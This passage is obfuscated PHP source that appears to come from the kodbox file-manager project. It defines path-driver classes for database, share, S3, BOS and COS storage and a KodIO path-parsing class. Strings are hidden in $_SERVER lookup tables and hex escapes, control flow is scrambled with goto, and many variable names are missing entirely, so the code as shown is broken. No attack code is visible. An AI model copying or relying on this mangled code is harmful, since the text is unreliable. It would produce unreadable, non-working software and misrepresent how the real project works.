$this->model->copyFolderFromIO($ݴ, $³, $벡, $–, $朹); return KodIO::make($ޜ); } public function isParentOf($, $) { return $this->model->isParentOf($, $); } public function mkfile($, $ = '', $描 = REPEAT_RENAME) { $ =& $_SERVER[]; $ = $this->parse($); $ = $[$[475]]; for ($ٶ = 0; $ٶ < count($[$[1412]]); $ٶ++) { $ = $[$[1412]][$ٶ]; if ($ٶ == count($[$[1412]]) - 1) { $ = $this->model->mkfile($, $, $, $描); break; } $ = $this->model->mkdir($, $, REPEAT_SKIP); } return $this->getPathOuter($); } public function mkdir($, $ = REPEAT_SKIP) { $ĺ =& $_SERVER[]; $ = $this->parse($); $ = $[$ĺ[475]]; for ($θ = 0; $θ < count($[$ĺ[1412]]); $θ++) { $ = $[$ĺ[1412]][$θ]; $ = $this->model->mkdir($, $, $); } return $this->getPathOuter($); } public function copyFile($䮵, $̰, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = $this->parse($̰); $鷱 = $this->model->copy($䮵, $[$[475]], $, $[$[87]]); return $鷱 ? $this->getPathOuter($鷱) : !1; } public function moveFile($, $řۉ, $ݬ = REPEAT_REPLACE) { $坳 =& $_SERVER[]; $ = $this->parse($řۉ); $Ԡ = $this->model->move($, $[$坳[475]], $ݬ, $[$坳[87]]); return $Ԡ ? $this->getPathOuter($Ԡ) : !1; } public function copy($ӆ, $, $ = REPEAT_REPLACE, $ݵ = false) { $ = $this->parse($); $ = $this->model->copy($ӆ, $[$_SERVER[][475]], $, $ݵ); return $ ? $this->getPathOuter($) : !1; } public function moveSameAllow() { } public function move($ɋ, $Ţ, $ = REPEAT_REPLACE, $О = false) { $ȸ = $this->parse($Ţ); $ = $this->model->move($ɋ, $ȸ[$_SERVER[][475]], $, $О); return $ ? $this->getPathOuter($) : !1; } public function remove($ٕ, $ = true) { return $this->model->remove($ٕ, $); } public function rename($ǣ, $ܾԐ) { $ = $this->model->rename($ǣ, $ܾԐ); return $ ? $this->getPathOuter($ǣ) : $; } public function size($) { $ß = $this->infoSimple($); return $ß ? $ß[$_SERVER[][79]] : 0; } public function infoSimple($) { return $this->model->sourceInfo($); } public function info($ܭ) { return $this->infoParse($ܭ); } public function infoAuth($) { return $this->infoParse($, !1, !0); } public function infoWithChildren($ہ) { return $this->infoParse($ہ, !0); } protected function infoParse($Ȝ, $ = false, $־ = false) { if (!$) { return $this->model->pathInfo($Ȝ, $־); } return $this->model->pathInfoMore($Ȝ); } public function infoFullSimple($̺) { $ݹƱ =& $_SERVER[]; $Ϗ = explode($ݹƱ[8], $̺); $ = implode($ݹƱ[8], array_splice($Ϗ, 1)); return $this->model->pathInfoByPath($Ϗ[0], $); } public function infoFull($ѷ) { $İ = $this->infoFullSimple($ѷ); return is_array($İ) ? $this->model->pathInfo($İ[$_SERVER[][193]]) : !1; } public function hashSimple($) { $ך =& $_SERVER[]; $› = $this->infoWithChildren($); return $›[$ך[170]][$ך[672]]; } public function hashMd5($) { $ =& $_SERVER[]; $Ͳ = $this->infoWithChildren($); return $Ͳ[$[170]][$[547]]; } public function exist($ؓͫ) { $чȊ =& $_SERVER[]; $ſ = $this->parse($ؓͫ); if (!$ſ[$чȊ[87]]) { return $this->isFile($ؓͫ) || $this->isFolder($ؓͫ); } $ٲڕ = array($чȊ[477] => $ſ[$чȊ[475]], $чȊ[32] => $ſ[$чȊ[87]]); $ߩ = $this->model->where($ٲڕ)->find(); return $ߩ ? !0 : !1; } public function isFile($꾳) { $ =& $_SERVER[]; $҃ = $this->infoSimple($꾳); return $҃ && $҃[$[485]] == $[228] ? !0 : !1; } public function isFolder($û) { $݊կ =& $_SERVER[]; $褛İ = $this->infoSimple($û); return $褛İ && $褛İ[$݊կ[485]] == $݊կ[91] ? !0 : !1; } public function listPath($, $ْއĿ = false) { $哖 =& $_SERVER[]; if ($ == $哖[12]) { return !1; } $ = array($哖[477] => $); if ($ْއĿ) { return $this->model->listSource($, -1); } return $this->model->listSource($); } public function has($, $ = false, $ = null) { $ =& $_SERVER[]; $̠ = $this->infoWithChildren($); if ($) { return array($[240] => $̠[$[240]], $[239] => $̠[$[239]]); } return $ ? $̠[$[240]] : $̠[$[239]]; } public function listAll($ӵ) { $ȶ = IO::info($this->pathParse[$_SERVER[][87]]); if (!$ȶ) { return array(); } return $this->model->listAll($ӵ); } public function getContent($Є) { return $this->model->getContent($Є); } public function setContent($džݦ, $ۂ = '') { return $this->model->setContent($džݦ, $ۂ); } public function fileSubstr($޴, $Ӄ, $) { return $this->model->fileSubstr($޴, $Ӄ, $); } public function download($, $ = '') { $φ = get_path_father($); $֟ = get_path_this($); $ˉϦ = $this->model->fileInfoGet($); $ȃ = IO::copy($ˉϦ[$_SERVER[][87]], $φ, !1, $֟); return $ȃ; } public function setModifyTime($, $ = '') { $ǒ =& $_SERVER[]; if (!$) { return; } $this->model->where(array($ǒ[491] => $))->save(array($ǒ[88] => $)); } public function upload($, $, $ʲ = false, $͹ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ɸ = $this->parse($); $˿λ = $this->model->addFile($ɸ[$[475]], $, $ɸ[$[87]], $ʲ, $͹); return $this->getPathOuter($˿λ); } public function uploadFileByID($, $Ӗ, $) { $ =& $_SERVER[]; $ = $this->parse($); $݄ = $this->model->addFileByFileID($[$[475]], $Ӗ, $[$[87]], $); return $this->getPathOuter($݄); } public function addFileByRemote($Ǧ˰, $顎, $ = array(), $٢ = '', $ܰ) { $ܠ =& $_SERVER[]; $Ç = $this->parse($Ǧ˰); $٢ = empty($٢) ? $Ç[$ܠ[87]] : $٢; $ = $this->model->addFileByRemote($Ç[$ܠ[475]], $顎, $٢, $, $ܰ); return $this->getPathOuter($); } public function uploadLink($奘Џ, $à = 0) { $է =& $_SERVER[]; $⠛ = $this->parse($奘Џ); $ш = _get($GLOBALS[$է[7]], $է[1413]); $ = _get($GLOBALS[$է[7]], $է[1414]); $奘Џ = Model($է[674])->createFileName($⠛[$է[87]], $ш, $); return IO::uploadLink($奘Џ, $Ã); } public function fileNameAuto($ߠ, $Ζڿ, $ = REPEAT_REPLACE, $⼓ = false) { return $this->model->fileNameAuto($ߠ, $Ζڿ, $, $⼓); } public function fileNameExist($ߕ, $) { return $this->model->fileNameExist($ߕ, $); } protected function _fileOut($狌, $ = false, $ = false, $̳ = '', $ı = false) { $ֵ =& $_SERVER[]; $ = $this->model->sourceInfo($狌); if ($[$ֵ[485]] == $ֵ[91]) { header($ֵ[1415]); die; } $Èկ = $this->model->fileInfoGet($狌); $̳ = $Èկ[$ֵ[547]] ? $Èկ[$ֵ[547]] : $̳; $ = isset($GLOBALS[$ֵ[182]]) && is_array($GLOBALS[$ֵ[182]]) ? $GLOBALS[$ֵ[182]][$ֵ[32]] : $[$ֵ[32]]; if ($ı) { return IO::fileOutServer($Èկ[$ֵ[87]], $, $, $̳); } IO::fileOut($Èկ[$ֵ[87]], $, $, $̳); } public function fileOut($, $؂ = false, $ = false, $멜 = '') { $this->_fileOut($, $؂, $, $멜); } public function fileOutServer($, $׻ = false, $ʖ = false, $ = '') { $this->_fileOut($, $׻, $ʖ, $, !0); } protected function _fileOutImage($, $ = 250) { $͐ =& $_SERVER[]; $ = $this->model->pathInfo($); if ($[$͐[485]] == $͐[91]) { show_json($͐[1416] . $, !1); } $ = $this->model->fileInfoGet($); $[$͐[183]] = $[$͐[87]]; $GLOBALS[$͐[182]] = $; IO::fileOutImage($[$͐[87]], $); } public function fileOutImage($, $۵ = 250) { $this->_fileOutImage($, $۵); } public function fileOutImageServer($ɒ, $Ť = 250) { $this->_fileOutImage($ɒ, $Ť); } public function link($Ɛ, $ɇ = '') { $Ä = $this->model->fileInfoGet($Ɛ); return IO::link($Ä[$_SERVER[][87]], $ɇ); } protected function parse($ފ) { $ =& $_SERVER[]; if (strstr($ފ, $[8]) === !1) { return array($[493] => intval($ފ), $[87] => $[12], $[1412] => array()); } $݃ = explode($[8], trim($ފ, $[8])); if (count($݃) < 2) { show_tips(clear_html($ފ) . $[1417]); } return array($[493] => intval($݃[0]), $[87] => $݃[1], $[1412] => array_slice($݃, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[][1411]); } public function getPathOuter($) { $ =& $_SERVER[]; if (!$) { return $; } $ = $this->parse($); return trim(KodIO::makeShare($this->pathParse[$[475]], $[$[475]]), $[8]); } protected function infoParse($, $ƞ = false, $ = false) { $暢 =& $_SERVER[]; $ō = $this->pathParse[$暢[475]]; $㪇 = trim($this->pathParse[$暢[1243]], $暢[8]); return Action($暢[1418])->sharePathInfo($ō, $㪇, $ƞ); } public function infoFull($Ѝ) { $şů =& $_SERVER[]; $ = explode($şů[8], trim($Ѝ, $şů[8])); if (count($) > 1) { $ = implode($şů[8], array_splice($, 1)); $ = $this->model->pathInfoByPath($[0], $); if (!$) { return !1; } $this->pathParse[$şů[1243]] = $[$şů[193]]; } return $this->infoParse($Ѝ); } public function listAll($짨) { $Ω =& $_SERVER[]; $Ε = IO::info($this->pathParse[$Ω[87]]); if (!$Ε) { return array(); } $ = $this->model->listAll($짨); $㔻 = Model($Ω[664])->getInfo($Ε[$Ω[665]]); foreach ($ as &$) { check_abort(); $[$Ω[90]] = Action($Ω[1418])->_shareItemeParse($[$Ω[90]], $㔻); } unset($); return $; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($Ġ) { $this->pathParse = $Ġ; $this->model = Model($_SERVER[][1411]); } protected function infoParse($ϰ, $Ϫ = false, $݈ = false) { $ =& $_SERVER[]; return Action($[1249])->sharePathInfo($this->pathParse[$[87]], !0, $Ϫ); } public function listPath($ȅ, $검 = false) { $΀ =& $_SERVER[]; $ = parent::listPath($ȅ, $검); if (!$) { return $; } if (is_array($[$΀[1419]])) { $[$΀[1419]] = Action($΀[1249])->shareItemInfo($[$΀[1419]]); } foreach ($ as $ => $) { if (!in_array($, array($΀[86], $΀[85]))) { continue; } foreach ($ as $ܭ => $ԧ) { $[$][$ܭ] = Action($΀[1249])->shareItemInfo($ԧ); } } return $; } public function listAll($؁) { $ =& $_SERVER[]; $ = IO::info($this->pathParse[$[87]]); if (!$) { return array(); } $ɴ = $this->model->listAll($؁); foreach ($ɴ as &$) { $[$[90]] = Action($[1249])->shareItemInfo($[$[90]]); } unset($); return $ɴ; } } goto a; bȠ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($Ĕ) { parent::__construct($Ĕ); } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $Ě = $[229]; $ = $[270]; $ = $[62]; $ԓ = gmdate($[271]); $ʍ = gmdate($[272]); $ = $[273]; $ӄ = $ . $[12]; $ = $[274]; $Լ = array($this->accessKey, $ʍ, $this->region, $, $); $ = implode($[8], $Լ); $峖 = array($[275] => gmdate($[299], strtotime($[277])), $[278] => array(array($[279] => $this->bucket), array($[280] => $Ě), array($[281], $[282], $[12]), array($[281], $[283], $[12]), array($[281], $[284], $[12]), array($[285] => $), array($[286] => $), array($[287] => $), array($[288] => $ԓ), array($[289] => $ӄ))); $ = base64_encode(json_encode($峖)); $򺫂 = hash_hmac($[290], $ʍ, $[291] . $this->secret, !0); $ = hash_hmac($[290], $this->region, $򺫂, !0); $݆ = hash_hmac($[290], $, $, !0); $ƪ = hash_hmac($[290], $, $݆, !0); $ = hash_hmac($[290], $, $ƪ); $т = array($[246] => $[12], $[292] => $[12], $[280] => $Ě, $[285] => $, $[293] => $, $[294] => $, $[295] => $, $[296] => $ԓ, $[297] => $ӄ, $[298] => $, $[208] => $this->getHost()); return $т; } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = gmdate($[300]); $ = array(); $ŗ = $this->client->getUploadId($this->bucket, $, $); if (!$ŗ) { return !1; } return array($[254] => $ŗ, $[208] => $this->getHost() . $[8] . $this->pathEncode($), $[255] => $, $[97] => $); } public function multiUploadAuthData($Ǝ, $Ȝ = array()) { $׺˼ =& $_SERVER[]; $ = isset($Ȝ[$׺˼[169]]) ? $Ȝ[$׺˼[169]] : $׺˼[12]; $ʺ޽ά = $Ȝ[$׺˼[97]]; unset($Ȝ[$׺˼[97]]); if (isset($Ȝ[$׺˼[256]])) { return $this->listUploadParts($ʺ޽ά, $Ȝ); } $ = array(); if (isset($Ȝ[$׺˼[301]])) { $[$׺˼[302]] = $Ȝ[$׺˼[301]]; } $ = explode($׺˼[210], $this->getHost()); $ε = array($׺˼[303] => $[1], $׺˼[304] => $׺˼[12], $׺˼[246] => $׺˼[123], $׺˼[292] => $Ȝ[$׺˼[79]]); $Ǽȿ = $׺˼[259]; $資 = $׺˼[8] . $this->pathEncode($ʺ޽ά) . $; $ = $this->client->__getSignatureV4($, $ε, $Ǽȿ, $資); if (strpos($, $׺˼[258]) === 0) { if (isset($[$׺˼[302]])) { $ё = $[$׺˼[302]]; } else { if (isset($[$׺˼[302]])) { $ё = $[$׺˼[302]]; } else { $ё = hash($׺˼[290], $׺˼[12]); } } return array($׺˼[265] => $[$׺˼[265]], $׺˼[302] => $ё, $׺˼[255] => $[$׺˼[305]]); } return $[$׺˼[265]]; } public function listUploadParts($, $ = array()) { $ҡΡ =& $_SERVER[]; $˝ = str_replace($ҡΡ[266], $ҡΡ[12], $[$ҡΡ[169]]); $Ϝ = $this->client->listParts($this->bucket, $, $˝); if (!$Ϝ) { return !1; } $򎜵 = $ҡΡ[306]; foreach ($Ϝ as $ъ) { $򎜵 .= $ҡΡ[307] . "\x3c\x50\141\x72\x74\x4e\x75\x6d\x62\x65\x72\76{$ъ[$ҡΡ[308]]}\x3c\57\120\x61\x72\x74\x4e\165\x6d\x62\x65\x72\x3e\xa" . "\74\x45\x54\x61\147\76{$ъ[$ҡΡ[309]]}\74\57\x45\124\x61\147\x3e\12" . $ҡΡ[310]; } $򎜵 .= $ҡΡ[311]; $墽 = array(); $ۻ = explode($ҡΡ[210], $this->getHost()); $ = array($ҡΡ[303] => $ۻ[1], $ҡΡ[246] => $ҡΡ[123], $ҡΡ[292] => strlen($򎜵)); $ = $ҡΡ[257]; $ = $ҡΡ[8] . $this->pathEncode($) . $[$ҡΡ[169]]; $󈓲Ģ = $this->client->__getSignatureV4($墽, $, $, $, $򎜵); return array($ҡΡ[265] => $󈓲Ģ[$ҡΡ[265]], $ҡΡ[255] => $󈓲Ģ[$ҡΡ[305]], $ҡΡ[267] => $Ϝ, $ҡΡ[302] => $󈓲Ģ[$ҡΡ[302]]); } public function link($ɿ, $Ӳ = array()) { return parent::link($ɿ, $Ӳ); } public function fileOut($, $ = false, $愨 = false, $ؕ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][312])) { return parent::fileOutServer($, $, $愨, $ؕ); } parent::fileOut($, $, $愨, $ؕ); } public function fileOutImage($Ǒ, $Ғ = 250) { if (strstr($this->endpoint, $_SERVER[][312])) { return parent::fileOutImageServer($Ǒ, $Ғ); } parent::fileOutImage($Ǒ, $Ғ); } public function fileOutLink($) { $֞ =& $_SERVER[]; if (substr($, 0, 7) == $֞[313]) { $ = $֞[314] . substr($, 7); } header($֞[175] . $); die; } } define($_SERVER[][315], 1); define($_SERVER[][316], 2); goto C; BӪ̾: class KodIO { const KOD_SOURCE = "\x7b\163\157\165\162\143\x65\x7d"; const KOD_USER_RECYCLE = "\173\165\x73\145\x72\122\x65\x63\171\143\154\x65\175"; const KOD_USER_FAV = "\x7b\x75\x73\x65\162\x46\x61\166\x7d"; const KOD_USER_FILE_TAG = "\173\165\x73\x65\162\x46\151\x6c\145\x54\141\x67\175"; const KOD_USER_FILE_TYPE = "\173\x75\163\x65\x72\x46\151\x6c\x65\124\171\x70\145\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\x67\162\x6f\165\x70\x52\157\x6f\164\x53\145\154\146\175"; const KOD_USER_SHARE = "\173\165\163\x65\x72\x53\x68\x61\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\165\x73\x65\162\x53\150\x61\162\145\114\x69\156\153\x7d"; const KOD_USER_SHARE_TO_ME = "\173\x73\x68\141\x72\x65\124\x6f\x4d\x65\175"; const KOD_SHARE_ITEM = "\173\x73\x68\x61\162\x65\x49\x74\x65\x6d\175"; const KOD_SHARE_LINK = "\173\163\x68\141\x72\145\111\x74\x65\x6d\114\151\156\x6b\x7d"; const KOD_SEARCH = "\x7b\163\x65\x61\x72\x63\150\175"; const KOD_BLOCK = "\x7b\x62\x6c\x6f\143\153\175"; const KOD_IO = "\173\x69\157\x7d"; const KOD_USER_RECENT = "\173\165\163\x65\x72\122\145\156\x63\x65\x6e\x74\175"; const KOD_USER_DRIVER = "\x7b\144\x72\151\166\x65\162\x7d"; public static function typeList() { $ =& $_SERVER[]; return array($[1329] => self::KOD_SOURCE, $[1330] => self::KOD_USER_RECYCLE, $[1331] => self::KOD_USER_FAV, $[1332] => self::KOD_USER_FILE_TAG, $[1333] => self::KOD_USER_FILE_TYPE, $[1334] => self::KOD_GROUP_ROOT_SELF, $[1335] => self::KOD_USER_SHARE, $[1336] => self::KOD_USER_SHARE_LINK, $[1337] => self::KOD_USER_SHARE_TO_ME, $[1338] => self::KOD_SHARE_ITEM, $[1339] => self::KOD_SHARE_LINK, $[1340] => self::KOD_SEARCH, $[1341] => self::KOD_BLOCK, $[1342] => self::KOD_IO, $[1343] => self::KOD_USER_RECENT, $[1344] => self::KOD_USER_DRIVER); } public static function parse($̇ߑ) { $ =& $_SERVER[]; $̇ߑ = self::clear($̇ߑ); $ = array_values(self::typeList()); preg_match($[1345], $̇ߑ, $桨); $ = array($[496] => !1, $[1346] => !1, $[493] => !1, $[87] => $̇ߑ, $[1244] => !1, $[1243] => $[12]); if (is_array($桨) && count($桨) == 5) { $߸։ = $[1347] . $桨[2] . $[403]; if (in_array($߸։, $)) { $[$[1244]] = $桨[1]; $[$[33]] = $߸։; $[$[1348]] = substr($߸։, 1, -1); $[$[475]] = $桨[3]; } $[$[1243]] = $桨[4]; } $Ţ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $[$[1311]] = in_array($[$[33]], $Ţ); return $; } public static function isTruePath($ᇤ) { $ =& $_SERVER[]; if (substr($ᇤ, 0, 1) != $[1347]) { return !0; } if (strpos($ᇤ, $[483]) === 0) { return !0; } if (strpos($ᇤ, $[1315]) === 0) { return !0; } if (strpos($ᇤ, $[1349]) === 0) { return !0; } if (strpos($ᇤ, $[1350]) === 0) { return !0; } if (strpos($ᇤ, $[1351]) === 0) { return !0; } return !1; } public static function clear($Ǝ) { $Ἁ =& $_SERVER[]; $Ǝ = str_replace(array($Ἁ[1150], $Ἁ[262]), $Ἁ[53], $Ǝ); $Ǝ = str_replace($Ἁ[100], $Ἁ[8], $Ǝ); $ˈ = $Ἁ[1352]; if (substr($Ǝ, 0, 3) == $Ἁ[1353]) { $Ǝ = substr($Ǝ, 3); } while (strstr($Ǝ, $ˈ)) { $Ǝ = str_replace($ˈ, $Ἁ[8], $Ǝ); } $Ǝ = preg_replace($Ἁ[1354], $Ἁ[8], $Ǝ); if ($Ǝ == $Ἁ[8]) { return $Ἁ[8]; } $Ǝ = rtrim($Ǝ, $Ἁ[8]); return $Ǝ; } public static function pathTrue($) { $⑁ =& $_SERVER[]; if (!$) { return $⑁[12]; } $ = str_replace($⑁[592], $⑁[8], str_replace($⑁[1355], $⑁[8], $)); $ = str_replace($⑁[592], $⑁[8], str_replace($⑁[1355], $⑁[8], $)); if (!strstr($, $⑁[1353])) { return $; } $ܔ = explode($⑁[8], $); foreach ($ܔ as $ؐܘ => $) { if ($ !== $⑁[1356]) { continue; } for ($♮ӆ = $ؐܘ; $♮ӆ >= 0; $♮ӆ--) { if ($ܔ[$♮ӆ] === $⑁[10] || $ܔ[$♮ӆ] === $⑁[1356] || $ܔ[$♮ӆ] === -1) { continue; } if ($ܔ[$♮ӆ] === $⑁[12]) { $ܔ[$ؐܘ] = -1; break; } $ܔ[$ؐܘ] = -1; $ܔ[$♮ӆ] = -1; break; } } $ʭ = array(); foreach ($ܔ as $) { if ($ !== -1) { $ʭ[] = $; } } $ = implode($⑁[8], $ʭ); if (strpos($, $⑁[1357]) === 0) { $ = $⑁[1353] . substr($, strlen($⑁[1357])); } return $; } public static function pathUrlClear($ŵ) { $Ҭ =& $_SERVER[]; if (!$ŵ) { return $ŵ; } $ŵ = rawurldecode($ŵ); $ŵ = str_replace($Ҭ[1355], $Ҭ[8], $ŵ); if (strpos($ŵ, $Ҭ[76]) > 0) { $ŵ = substr($ŵ, 0, strpos($ŵ, $Ҭ[76])); } if (strpos($ŵ, $Ҭ[1358]) > 0) { $ŵ = substr($ŵ, 0, strpos($ŵ, $Ҭ[1358])); } return $ŵ; } public static function sourceID($) { $ =& $_SERVER[]; $勘 = self::parse($); if ($勘[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1359]), !1); } return $勘[$[475]]; } public static function make($⒭) { if (!$⒭) { return !1; } return self::makePath(self::KOD_SOURCE, intval($⒭)); } public static function makeShare($Ȋ, $) { return self::makePath(self::KOD_SHARE_ITEM, $Ȋ, $); } public static function makeFileTypePath($ϼ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ϼ); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($, $— = '', $ = '') { $å =& $_SERVER[]; $蒠β = substr($, 1, -1); $ˣ = $å[1360] . $蒠β . $å[1361] . $— . $å[1362]; $ˣ = $ ? $ˣ . $ . $å[8] : $ˣ; return $ˣ; } public static function hashPath($؞, $ = true) { $ =& $_SERVER[]; $ެ = is_array($؞) ? $؞ : IO::info($؞); $ = _get($ެ, $[1363], $[12]); if (!$ && isset($ެ[$[235]])) { $ = trim($ެ[$[235]], $[121]); } if (!$ && isset($ެ[$[193]]) && $ެ[$[193]]) { $ެ = IO::info(KodIO::make($ެ[$[193]])); $ = _get($ެ, $[1363], $[12]); } $Ñ = md5($ެ[$[87]] . $ެ[$[79]] . $ެ[$[88]]); if (!$ && file_exists($ެ[$[87]])) { $ = Cache::get($Ñ . $[1364]); $ = !1; if (!$) { $ = IO::hashSimple($ެ[$[87]]); Cache::set($Ñ . $[1364], $, 3600 * 24 * 30); } } if ($ && !$) { } return $ ? $ : $Ñ; } public static function hashPathSafe($㪞, $ل = true) { $ܠ =& $_SERVER[]; $ = self::hashPath($㪞, $ل); return md5($ . $ܠ[1365] . Model($ܠ[837])->get($ܠ[838])); } public static function initSystemPath() { $„ =& $_SERVER[]; if (defined($„[1366])) { return; } define($„[1366], self::systemPath($„[191])); define($„[1367], self::systemPath($„[1368])); define($„[1369], self::systemPath($„[1370])); define($„[1371], self::systemPath($„[1372])); IOHistory::bindEvent(); } public static function systemPath($ݸ) { $ؾ =& $_SERVER[]; $ = $ؾ[1373] . ucfirst($ݸ); $ = Model($ؾ[837])->get($); if ($) { return $; } if ($ݸ == $ؾ[191]) { $ = self::make(Model($ؾ[899])->systemRootPathAdd($ؾ[605])); } else { $ = self::systemPath($ؾ[191]); $Ǯ = self::sourceID($); $ = self::make(Model($ؾ[899])->mkdir($Ǯ, $ݸ)); } Model($ؾ[837])->set($, $); return $; } public static function systemFolder($) { $㶗ʥ = IO_PATH_SYSTEM_SOURCE . $; $Ɯ = Cache::get($㶗ʥ); if (!$Ɯ) { $ = IO::infoFullSimple($㶗ʥ); if (!$) { $Ɯ = IO::mkdir($㶗ʥ, REPEAT_SKIP); } else { $Ɯ = $[$_SERVER[][87]]; } Cache::set($㶗ʥ, $Ɯ, 3600 * 10); } return $Ɯ; } public static function defaultDriver() { return Model($_SERVER[][834])->defaultDriver(); } public static function defaultIO() { $՜ =& $_SERVER[]; $Œ = self::defaultDriver(); return $՜[1374] . $Œ[$՜[475]] . $՜[1362]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ܮ = $GLOBALS[$[6]][$[1375]]; foreach ($ܮ as $Ǧ => $ĝ) { $ۙ = $[1376] . $Ǧ; $ڤ = LNG($ۙ); if ($ۙ != $ڤ) { $ܮ[$Ǧ][$[32]] = $ڤ; } } return $ܮ; } public static function diskList($ = true) { $ª = $_SERVER[][1377]; if ($) { $Ǧ = Cache::get($ª); if (is_array($Ǧ)) { return $Ǧ; } } $Ǧ = self::diskListGet(); Cache::set($ª, $Ǧ, 60); return $Ǧ; } public static function diskListGet() { $ٜ =& $_SERVER[]; $η = array(); if ($GLOBALS[$ٜ[6]][$ٜ[1378]] == $ٜ[1379]) { $֑ = $ٜ[1380]; for ($ = 0; $ < strlen($֑); $++) { $牃 = $֑[$] . $ٜ[1381]; if (file_exists($牃)) { $η[] = $牃; } } return $η; } if (!function_exists($ٜ[101])) { $η[] = $ٜ[910]; return $η; } $Ǿ = explode($ٜ[262], shell_exec($ٜ[1382])); array_shift($Ǿ); array_pop($Ǿ); $ꄍ = array($ٜ[1383], $ٜ[1384], $ٜ[1385], $ٜ[1386], $ٜ[1387], $ٜ[1388], $ٜ[1389], $ٜ[1390]); foreach ($Ǿ as $ª) { $ = preg_split($ٜ[1391], $ª); $牃 = $[count($) - 1]; if (!strstr($[0], $ٜ[1392]) || !$牃) { continue; } $ = rtrim($牃, $ٜ[8]) . $ٜ[8]; if (in_array($, $ꄍ)) { continue; } $η[] = $; } return $η; } public static function isSameDisk($ǝ, $) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1378]] == $[1379]) { return strtolower(substr($ǝ, 0, 1)) == strtolower(substr($, 0, 1)); } $͞ = self::diskList(); $ = !1; $ = !1; sort($͞); $͞ = array_reverse($͞); $ǝ = rtrim($ǝ, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($͞ as $ԭ) { $DŽ = strlen($ԭ); if (!$ && substr($ǝ, 0, $DŽ) == $ԭ) { $ = $ԭ; } if (!$ && substr($, 0, $DŽ) == $ԭ) { $ = $ԭ; } if ($ && $) { break; } } return $ === $; } public static function transferType($, $󋳱) { $ߔ =& $_SERVER[]; $ = self::driverType($); $ = self::driverType($󋳱); if ($[$ߔ[33]] == $[$ߔ[33]] && $[$ߔ[1393]] == $[$ߔ[1393]]) { return $ߔ[1394]; } if ($[$ߔ[33]] == $ߔ[943] && $[$ߔ[33]] == $ߔ[109]) { return $ߔ[1272]; } if ($[$ߔ[33]] == $ߔ[109] && $[$ߔ[33]] == $ߔ[943]) { return $ߔ[110]; } return $ߔ[1395]; } public static function driverType($ߜ) { $ =& $_SERVER[]; $ = str_replace($[1396], $[12], strtolower($ߜ->getType())); if ($ == $[824] || $ == $[1397] || $ == $[1398]) { $ߜ = self::defaultDriverInit(); } else { if ($ == $[1282] || $ == $[1399]) { $ߜ = IO::init($ߜ->pathParse[$[1225]]); } } $ˋ = $ߜ->path; $ = str_replace($[1396], $[12], strtolower($ߜ->getType())); if ($ == $[109]) { return array($[33] => $[109], $[1393] => $[12], $[87] => $ˋ, $[98] => $ߜ); } return array($[33] => $[943], $[1393] => $ߜ->pathDriver, $[87] => $ˋ, $[98] => $ߜ); } public static function pathDriverType($軀) { return $軀 ? self::driverType(IO::init($軀)) : !1; } public static function pathDriverLocal($Я) { $͚դ =& $_SERVER[]; $ = $Я ? self::driverType(IO::init($Я)) : !1; return strtolower($[$͚դ[33]]) == $͚դ[109] ? !0 : !1; } public static function allowCover($ŝ֭, $Œُ = true) { $ =& $_SERVER[]; if (is_string($ŝ֭)) { $ŝ֭ = IO::info($ŝ֭); } if (!$ŝ֭ || $ŝ֭[$[33]] == $[78] || $ŝ֭[$[79]] <= 100) { return !1; } if (isset($ŝ֭[$[1400]]) || !$ŝ֭[$[87]]) { return !1; } if (isset($ŝ֭[$[232]]) && !$ŝ֭[$[232]]) { return !1; } static $ = false; if (!$ || !$Œُ) { $Ӹ = self::driverType(IO::init($ŝ֭[$[87]])); $ = $Ӹ[$[98]]; $ = $[196]; if ($Ӹ[$[33]] == $[109]) { $ = $[1401]; } if ($Ӹ[$[98]] && is_array($Ӹ[$[98]]->config)) { $ = $Ӹ[$[98]]->config; if (isset($[$[1402]]) && $[$[1402]]) { $ = $[1401]; } } $˻ = KodIO::defaultDriver(); if (strtolower($˻[$[98]]) == $[109] && is_array($˻[$[6]])) { $Ɍ = $˻[$[6]][$[1255]]; if (substr($Ɍ, 0, 2) == $[1403]) { $Ɍ = str_replace($[1403], BASIC_PATH, $Ɍ); } $Ɍ = str_replace($[592], $[8], $Ɍ); if (substr($ŝ֭[$[87]], 0, strlen($Ɍ)) == $Ɍ) { $ = $[196]; } } } return $ == $[1401] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($Ê) { parent::__construct($Ê); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($) { $ɡ =& $_SERVER[]; if (substr($, 0, 7) == $ɡ[313]) { $ = $ɡ[314] . substr($, 7); } header($ɡ[175] . $); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($Фϊ) { parent::__construct($Фϊ); $this->setSignVersion($_SERVER[][247]); } public function uploadFormData($, $ = 3600) { $ȕϵ =& $_SERVER[]; $ܠ = $ȕϵ[229]; $ͪ = $ȕϵ[263]; $⡡ = $ȕϵ[274]; $Ƌ = gmdate($ȕϵ[299], time() + $); $µǥ = (string) time() . $ȕϵ[74] . (string) (time() + $); $ڽ = array($ȕϵ[275] => $Ƌ, $ȕϵ[278] => array(array($ȕϵ[280] => $ܠ), array($ȕϵ[279] => $this->bucket), array($ȕϵ[281], $ȕϵ[282], $ȕϵ[12]), array($ȕϵ[285] => $⡡), array($ȕϵ[1404] => $ͪ), array($ȕϵ[1405] => $this->accessKey), array($ȕϵ[1406] => 